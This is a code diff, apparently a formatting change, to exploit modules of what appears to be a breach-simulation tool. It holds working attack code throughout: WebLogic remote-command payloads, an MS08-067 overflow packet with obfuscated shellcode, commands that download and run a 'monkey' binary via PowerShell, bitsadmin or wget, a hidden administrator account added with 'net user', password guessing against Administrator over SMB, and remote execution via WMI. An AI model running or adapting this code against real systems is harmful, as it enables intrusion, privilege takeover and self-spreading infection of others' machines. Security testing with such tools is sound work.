command = command % {"monkey_path":path, "http_path":http_path}
|
command = command % {"monkey_path": path, "http_path": http_path}
|
||||||
except KeyError:
|
except KeyError:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Provided command is missing/bad for this type of host! "
|
"Provided command is missing/bad for this type of host! "
|
||||||
"Check upload_monkey function docs before using custom monkey's upload "
|
"Check upload_monkey function docs before using custom monkey's upload "
|
||||||
"commands."
|
"commands."
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
return command
|
return command
|
||||||
|
@ -252,7 +252,7 @@ class WebRCE(HostExploiter):
|
||||||
else:
|
else:
|
||||||
protocol = "http"
|
protocol = "http"
|
||||||
url_list.append(
|
url_list.append(
|
||||||
join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
|
join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension)
|
||||||
)
|
)
|
||||||
if not url_list:
|
if not url_list:
|
||||||
LOG.info("No attack url's were built")
|
LOG.info("No attack url's were built")
|
||||||
|
@ -314,8 +314,8 @@ class WebRCE(HostExploiter):
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Host %s was already infected under the current configuration, done"
|
"Host %s was already infected under the current configuration, done"
|
||||||
% str(self.host)
|
% str(self.host)
|
||||||
)
|
)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
@ -372,8 +372,8 @@ class WebRCE(HostExploiter):
|
||||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||||
backup_command = BITSADMIN_CMDLINE_HTTP % {
|
backup_command = BITSADMIN_CMDLINE_HTTP % {
|
||||||
"monkey_path":dest_path,
|
"monkey_path": dest_path,
|
||||||
"http_path":http_path,
|
"http_path": http_path,
|
||||||
}
|
}
|
||||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
||||||
resp = self.exploit(url, backup_command)
|
resp = self.exploit(url, backup_command)
|
||||||
|
@ -402,7 +402,7 @@ class WebRCE(HostExploiter):
|
||||||
LOG.info("Started http server on %s", http_path)
|
LOG.info("Started http server on %s", http_path)
|
||||||
# Choose command:
|
# Choose command:
|
||||||
if not commands:
|
if not commands:
|
||||||
commands = {"windows":POWERSHELL_HTTP_UPLOAD, "linux":WGET_HTTP_UPLOAD}
|
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
||||||
command = self.get_command(paths["dest_path"], http_path, commands)
|
command = self.get_command(paths["dest_path"], http_path, commands)
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
self.add_executed_cmd(command)
|
self.add_executed_cmd(command)
|
||||||
|
@ -415,7 +415,7 @@ class WebRCE(HostExploiter):
|
||||||
if resp is False:
|
if resp is False:
|
||||||
return resp
|
return resp
|
||||||
else:
|
else:
|
||||||
return {"response":resp, "path":paths["dest_path"]}
|
return {"response": resp, "path": paths["dest_path"]}
|
||||||
|
|
||||||
def change_permissions(self, url, path, command=None):
|
def change_permissions(self, url, path, command=None):
|
||||||
"""
|
"""
|
||||||
|
@ -430,7 +430,7 @@ class WebRCE(HostExploiter):
|
||||||
LOG.info("Permission change not required for windows")
|
LOG.info("Permission change not required for windows")
|
||||||
return True
|
return True
|
||||||
if not command:
|
if not command:
|
||||||
command = CHMOD_MONKEY % {"monkey_path":path}
|
command = CHMOD_MONKEY % {"monkey_path": path}
|
||||||
try:
|
try:
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
T1222Telem(ScanStatus.USED, command, self.host).send()
|
T1222Telem(ScanStatus.USED, command, self.host).send()
|
||||||
|
@ -448,8 +448,7 @@ class WebRCE(HostExploiter):
|
||||||
return False
|
return False
|
||||||
elif "No such file or directory" in resp:
|
elif "No such file or directory" in resp:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Could not change permission because monkey was not found. Check path "
|
"Could not change permission because monkey was not found. Check path " "parameter."
|
||||||
"parameter."
|
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
LOG.info("Permission change finished")
|
LOG.info("Permission change finished")
|
||||||
|
@ -471,21 +470,21 @@ class WebRCE(HostExploiter):
|
||||||
if default_path is False:
|
if default_path is False:
|
||||||
return False
|
return False
|
||||||
monkey_cmd = build_monkey_commandline(
|
monkey_cmd = build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path
|
self.host, get_monkey_depth() - 1, self.vulnerable_port, default_path
|
||||||
)
|
)
|
||||||
command = RUN_MONKEY % {
|
command = RUN_MONKEY % {
|
||||||
"monkey_path":path,
|
"monkey_path": path,
|
||||||
"monkey_type":DROPPER_ARG,
|
"monkey_type": DROPPER_ARG,
|
||||||
"parameters":monkey_cmd,
|
"parameters": monkey_cmd,
|
||||||
}
|
}
|
||||||
else:
|
else:
|
||||||
monkey_cmd = build_monkey_commandline(
|
monkey_cmd = build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1, self.vulnerable_port
|
self.host, get_monkey_depth() - 1, self.vulnerable_port
|
||||||
)
|
)
|
||||||
command = RUN_MONKEY % {
|
command = RUN_MONKEY % {
|
||||||
"monkey_path":path,
|
"monkey_path": path,
|
||||||
"monkey_type":MONKEY_ARG,
|
"monkey_type": MONKEY_ARG,
|
||||||
"parameters":monkey_cmd,
|
"parameters": monkey_cmd,
|
||||||
}
|
}
|
||||||
try:
|
try:
|
||||||
LOG.info("Trying to execute monkey using command: {}".format(command))
|
LOG.info("Trying to execute monkey using command: {}".format(command))
|
||||||
|
@ -519,7 +518,7 @@ class WebRCE(HostExploiter):
|
||||||
"""
|
"""
|
||||||
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
|
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Can't get destination path because source path %s is invalid.", url_to_monkey
|
"Can't get destination path because source path %s is invalid.", url_to_monkey
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
try:
|
try:
|
||||||
|
@ -531,15 +530,15 @@ class WebRCE(HostExploiter):
|
||||||
return self.monkey_target_paths["win64"]
|
return self.monkey_target_paths["win64"]
|
||||||
else:
|
else:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
"Could not figure out what type of monkey server was trying to upload, "
|
"Could not figure out what type of monkey server was trying to upload, "
|
||||||
"thus destination path can not be chosen."
|
"thus destination path can not be chosen."
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
except KeyError:
|
except KeyError:
|
||||||
LOG.error(
|
LOG.error(
|
||||||
'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
|
'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
|
||||||
"initialize "
|
"initialize "
|
||||||
"custom dict of monkey's destination paths"
|
"custom dict of monkey's destination paths"
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -556,7 +555,7 @@ class WebRCE(HostExploiter):
|
||||||
dest_path = self.get_monkey_upload_path(src_path)
|
dest_path = self.get_monkey_upload_path(src_path)
|
||||||
if not dest_path:
|
if not dest_path:
|
||||||
return False
|
return False
|
||||||
return {"src_path":src_path, "dest_path":dest_path}
|
return {"src_path": src_path, "dest_path": dest_path}
|
||||||
|
|
||||||
def get_default_dropper_path(self):
|
def get_default_dropper_path(self):
|
||||||
"""
|
"""
|
||||||
|
@ -565,7 +564,7 @@ class WebRCE(HostExploiter):
|
||||||
E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
|
E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host
|
||||||
"""
|
"""
|
||||||
if not self.host.os.get("type") or (
|
if not self.host.os.get("type") or (
|
||||||
self.host.os["type"] != "linux" and self.host.os["type"] != "windows"
|
self.host.os["type"] != "linux" and self.host.os["type"] != "windows"
|
||||||
):
|
):
|
||||||
LOG.error("Target's OS was either unidentified or not supported. Aborting")
|
LOG.error("Target's OS was either unidentified or not supported. Aborting")
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -24,9 +24,9 @@ REQUEST_TIMEOUT = 5
|
||||||
EXECUTION_TIMEOUT = 15
|
EXECUTION_TIMEOUT = 15
|
||||||
# Malicious requests' headers:
|
# Malicious requests' headers:
|
||||||
HEADERS = {
|
HEADERS = {
|
||||||
"Content-Type":"text/xml;charset=UTF-8",
|
"Content-Type": "text/xml;charset=UTF-8",
|
||||||
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
|
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
|
||||||
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36",
|
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36",
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@ -65,7 +65,7 @@ class WebLogic201710271(WebRCE):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(WebLogic201710271, self).__init__(
|
super(WebLogic201710271, self).__init__(
|
||||||
host, {"linux":"/tmp/monkey.sh", "win32":"monkey32.exe", "win64":"monkey64.exe"}
|
host, {"linux": "/tmp/monkey.sh", "win32": "monkey32.exe", "win64": "monkey64.exe"}
|
||||||
)
|
)
|
||||||
|
|
||||||
def get_exploit_config(self):
|
def get_exploit_config(self):
|
||||||
|
@ -78,13 +78,13 @@ class WebLogic201710271(WebRCE):
|
||||||
def exploit(self, url, command):
|
def exploit(self, url, command):
|
||||||
if "linux" in self.host.os["type"]:
|
if "linux" in self.host.os["type"]:
|
||||||
payload = self.get_exploit_payload(
|
payload = self.get_exploit_payload(
|
||||||
"/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null"
|
"/bin/sh", "-c", command + " 1> /dev/null 2> /dev/null"
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL")
|
payload = self.get_exploit_payload("cmd", "/c", command + " 1> NUL 2> NUL")
|
||||||
try:
|
try:
|
||||||
post(
|
post(
|
||||||
url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False
|
url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False
|
||||||
) # noqa: DUO123
|
) # noqa: DUO123
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error("Connection error: %s" % e)
|
LOG.error("Connection error: %s" % e)
|
||||||
|
@ -122,7 +122,7 @@ class WebLogic201710271(WebRCE):
|
||||||
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
|
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
|
||||||
try:
|
try:
|
||||||
post(
|
post(
|
||||||
url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False
|
url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False
|
||||||
) # noqa: DUO123
|
) # noqa: DUO123
|
||||||
except exceptions.ReadTimeout:
|
except exceptions.ReadTimeout:
|
||||||
# Our request will not get response thus we get ReadTimeout error
|
# Our request will not get response thus we get ReadTimeout error
|
||||||
|
@ -292,7 +292,7 @@ class WebLogic20192725(WebRCE):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def check_if_exploitable(self, url):
|
def check_if_exploitable(self, url):
|
||||||
headers = copy.deepcopy(HEADERS).update({"SOAPAction":""})
|
headers = copy.deepcopy(HEADERS).update({"SOAPAction": ""})
|
||||||
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
|
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
|
||||||
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
|
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -63,22 +63,22 @@ OBFUSCATED_SHELLCODE = (
|
||||||
SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode()
|
SHELLCODE = clarify(OBFUSCATED_SHELLCODE).decode()
|
||||||
|
|
||||||
XP_PACKET = (
|
XP_PACKET = (
|
||||||
"\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43"
|
"\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43"
|
||||||
"\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01"
|
"\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01"
|
||||||
"\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47"
|
"\x00\x00\x5c\x00\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47"
|
||||||
"\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48"
|
"\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48"
|
||||||
"\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49"
|
"\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49"
|
||||||
"\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
|
"\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a"
|
||||||
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90"
|
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x90"
|
||||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||||
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||||
"\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
|
"\x90\x90\x90\x90\x90\x90\x90" + SHELLCODE + "\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00"
|
||||||
"\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02"
|
"\x2e\x00\x5c\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x08\x04\x02"
|
||||||
"\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41"
|
"\x00\xc2\x17\x89\x6f\x41\x41\x41\x41\x07\xf8\x88\x6f\x41\x41\x41\x41\x41\x41\x41\x41"
|
||||||
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
|
||||||
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90"
|
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x90\x90\x90\x90\x90\x90\x90\x90"
|
||||||
"\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00"
|
"\xeb\x62\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\xe8\x03\x00\x00\x02\x00\x00"
|
||||||
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00"
|
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00"
|
||||||
)
|
)
|
||||||
|
|
||||||
# Payload for Windows 2000 target
|
# Payload for Windows 2000 target
|
||||||
|
@ -192,9 +192,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ["windows"]
|
_TARGET_OS_TYPE = ["windows"]
|
||||||
_EXPLOITED_SERVICE = "Microsoft Server Service"
|
_EXPLOITED_SERVICE = "Microsoft Server Service"
|
||||||
_windows_versions = {
|
_windows_versions = {
|
||||||
"Windows Server 2003 3790 Service Pack 2":WindowsVersion.Windows2003_SP2,
|
"Windows Server 2003 3790 Service Pack 2": WindowsVersion.Windows2003_SP2,
|
||||||
"Windows Server 2003 R2 3790 Service Pack 2":WindowsVersion.Windows2003_SP2,
|
"Windows Server 2003 R2 3790 Service Pack 2": WindowsVersion.Windows2003_SP2,
|
||||||
"Windows 5.1":WindowsVersion.WindowsXP,
|
"Windows 5.1": WindowsVersion.WindowsXP,
|
||||||
}
|
}
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
|
@ -202,19 +202,19 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
def is_os_supported(self):
|
def is_os_supported(self):
|
||||||
if self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get("version") in list(
|
if self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get("version") in list(
|
||||||
self._windows_versions.keys()
|
self._windows_versions.keys()
|
||||||
):
|
):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if not self.host.os.get("type") or (
|
if not self.host.os.get("type") or (
|
||||||
self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version")
|
self.host.os.get("type") in self._TARGET_OS_TYPE and not self.host.os.get("version")
|
||||||
):
|
):
|
||||||
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
|
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
|
||||||
if is_smb_open:
|
if is_smb_open:
|
||||||
smb_finger = SMBFinger()
|
smb_finger = SMBFinger()
|
||||||
if smb_finger.get_host_fingerprint(self.host):
|
if smb_finger.get_host_fingerprint(self.host):
|
||||||
return self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get(
|
return self.host.os.get("type") in self._TARGET_OS_TYPE and self.host.os.get(
|
||||||
"version"
|
"version"
|
||||||
) in list(self._windows_versions.keys())
|
) in list(self._windows_versions.keys())
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -226,7 +226,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
os_version = self._windows_versions.get(
|
os_version = self._windows_versions.get(
|
||||||
self.host.os.get("version"), WindowsVersion.Windows2003_SP2
|
self.host.os.get("version"), WindowsVersion.Windows2003_SP2
|
||||||
)
|
)
|
||||||
|
|
||||||
exploited = False
|
exploited = False
|
||||||
|
@ -237,12 +237,12 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
sock = exploit.start()
|
sock = exploit.start()
|
||||||
|
|
||||||
sock.send(
|
sock.send(
|
||||||
"cmd /c (net user {} {} /add) &&"
|
"cmd /c (net user {} {} /add) &&"
|
||||||
" (net localgroup administrators {} /add)\r\n".format(
|
" (net localgroup administrators {} /add)\r\n".format(
|
||||||
self._config.user_to_add,
|
self._config.user_to_add,
|
||||||
self._config.remote_user_pass,
|
self._config.remote_user_pass,
|
||||||
self._config.user_to_add,
|
self._config.user_to_add,
|
||||||
).encode()
|
).encode()
|
||||||
)
|
)
|
||||||
time.sleep(2)
|
time.sleep(2)
|
||||||
sock.recv(1000)
|
sock.recv(1000)
|
||||||
|
@ -260,22 +260,22 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(
|
remote_full_path = SmbTools.copy_file(
|
||||||
self.host,
|
self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path_win_32,
|
self._config.dropper_target_path_win_32,
|
||||||
self._config.user_to_add,
|
self._config.user_to_add,
|
||||||
self._config.remote_user_pass,
|
self._config.remote_user_pass,
|
||||||
)
|
)
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
# try other passwords for administrator
|
# try other passwords for administrator
|
||||||
for password in self._config.exploit_password_list:
|
for password in self._config.exploit_password_list:
|
||||||
remote_full_path = SmbTools.copy_file(
|
remote_full_path = SmbTools.copy_file(
|
||||||
self.host,
|
self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path_win_32,
|
self._config.dropper_target_path_win_32,
|
||||||
"Administrator",
|
"Administrator",
|
||||||
password,
|
password,
|
||||||
)
|
)
|
||||||
if remote_full_path:
|
if remote_full_path:
|
||||||
break
|
break
|
||||||
|
@ -286,18 +286,18 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {
|
cmdline = DROPPER_CMDLINE_WINDOWS % {
|
||||||
"dropper_path":remote_full_path
|
"dropper_path": remote_full_path
|
||||||
} + build_monkey_commandline(
|
} + build_monkey_commandline(
|
||||||
self.host,
|
self.host,
|
||||||
get_monkey_depth() - 1,
|
get_monkey_depth() - 1,
|
||||||
SRVSVC_Exploit.TELNET_PORT,
|
SRVSVC_Exploit.TELNET_PORT,
|
||||||
self._config.dropper_target_path_win_32,
|
self._config.dropper_target_path_win_32,
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {
|
cmdline = MONKEY_CMDLINE_WINDOWS % {
|
||||||
"monkey_path":remote_full_path
|
"monkey_path": remote_full_path
|
||||||
} + build_monkey_commandline(
|
} + build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT
|
self.host, get_monkey_depth() - 1, vulnerable_port=SRVSVC_Exploit.TELNET_PORT
|
||||||
)
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -313,10 +313,10 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
remote_full_path,
|
remote_full_path,
|
||||||
self.host,
|
self.host,
|
||||||
cmdline,
|
cmdline,
|
||||||
)
|
)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -55,27 +55,25 @@ class WmiExploiter(HostExploiter):
|
||||||
except AccessDeniedException:
|
except AccessDeniedException:
|
||||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
|
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
except DCERPCException:
|
except DCERPCException:
|
||||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
|
("Failed connecting to %r using WMI with " % self.host) + creds_for_logging
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
except socket.error:
|
except socket.error:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
(
|
("Network error in WMI connection to %r with " % self.host) + creds_for_logging
|
||||||
"Network error in WMI connection to %r with " % self.host) +
|
|
||||||
creds_for_logging
|
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
("Unknown WMI connection error to %r with " % self.host)
|
("Unknown WMI connection error to %r with " % self.host)
|
||||||
+ creds_for_logging
|
+ creds_for_logging
|
||||||
+ (" (%s):\n%s" % (exc, traceback.format_exc()))
|
+ (" (%s):\n%s" % (exc, traceback.format_exc()))
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -83,10 +81,10 @@ class WmiExploiter(HostExploiter):
|
||||||
|
|
||||||
# query process list and check if monkey already running on victim
|
# query process list and check if monkey already running on victim
|
||||||
process_list = WmiTools.list_object(
|
process_list = WmiTools.list_object(
|
||||||
wmi_connection,
|
wmi_connection,
|
||||||
"Win32_Process",
|
"Win32_Process",
|
||||||
fields=("Caption",),
|
fields=("Caption",),
|
||||||
where="Name='%s'" % ntpath.split(src_path)[-1],
|
where="Name='%s'" % ntpath.split(src_path)[-1],
|
||||||
)
|
)
|
||||||
if process_list:
|
if process_list:
|
||||||
wmi_connection.close()
|
wmi_connection.close()
|
||||||
|
@ -96,14 +94,14 @@ class WmiExploiter(HostExploiter):
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(
|
remote_full_path = SmbTools.copy_file(
|
||||||
self.host,
|
self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path_win_32,
|
self._config.dropper_target_path_win_32,
|
||||||
user,
|
user,
|
||||||
password,
|
password,
|
||||||
lm_hash,
|
lm_hash,
|
||||||
ntlm_hash,
|
ntlm_hash,
|
||||||
self._config.smb_download_timeout,
|
self._config.smb_download_timeout,
|
||||||
)
|
)
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
|
@ -112,45 +110,45 @@ class WmiExploiter(HostExploiter):
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {
|
cmdline = DROPPER_CMDLINE_WINDOWS % {
|
||||||
"dropper_path":remote_full_path
|
"dropper_path": remote_full_path
|
||||||
} + build_monkey_commandline(
|
} + build_monkey_commandline(
|
||||||
self.host,
|
self.host,
|
||||||
get_monkey_depth() - 1,
|
get_monkey_depth() - 1,
|
||||||
WmiExploiter.VULNERABLE_PORT,
|
WmiExploiter.VULNERABLE_PORT,
|
||||||
self._config.dropper_target_path_win_32,
|
self._config.dropper_target_path_win_32,
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {
|
cmdline = MONKEY_CMDLINE_WINDOWS % {
|
||||||
"monkey_path":remote_full_path
|
"monkey_path": remote_full_path
|
||||||
} + build_monkey_commandline(
|
} + build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT
|
self.host, get_monkey_depth() - 1, WmiExploiter.VULNERABLE_PORT
|
||||||
)
|
)
|
||||||
|
|
||||||
# execute the remote monkey
|
# execute the remote monkey
|
||||||
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(
|
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(
|
||||||
cmdline, ntpath.split(remote_full_path)[0], None
|
cmdline, ntpath.split(remote_full_path)[0], None
|
||||||
)
|
)
|
||||||
|
|
||||||
if (0 != result.ProcessId) and (not result.ReturnValue):
|
if (0 != result.ProcessId) and (not result.ReturnValue):
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
|
"Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
|
||||||
remote_full_path,
|
remote_full_path,
|
||||||
self.host,
|
self.host,
|
||||||
result.ProcessId,
|
result.ProcessId,
|
||||||
cmdline,
|
cmdline,
|
||||||
)
|
)
|
||||||
|
|
||||||
self.add_vuln_port(port="unknown")
|
self.add_vuln_port(port="unknown")
|
||||||
success = True
|
success = True
|
||||||
else:
|
else:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, "
|
"Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, "
|
||||||
"cmdline=%r)",
|
"cmdline=%r)",
|
||||||
remote_full_path,
|
remote_full_path,
|
||||||
self.host,
|
self.host,
|
||||||
result.ProcessId,
|
result.ProcessId,
|
||||||
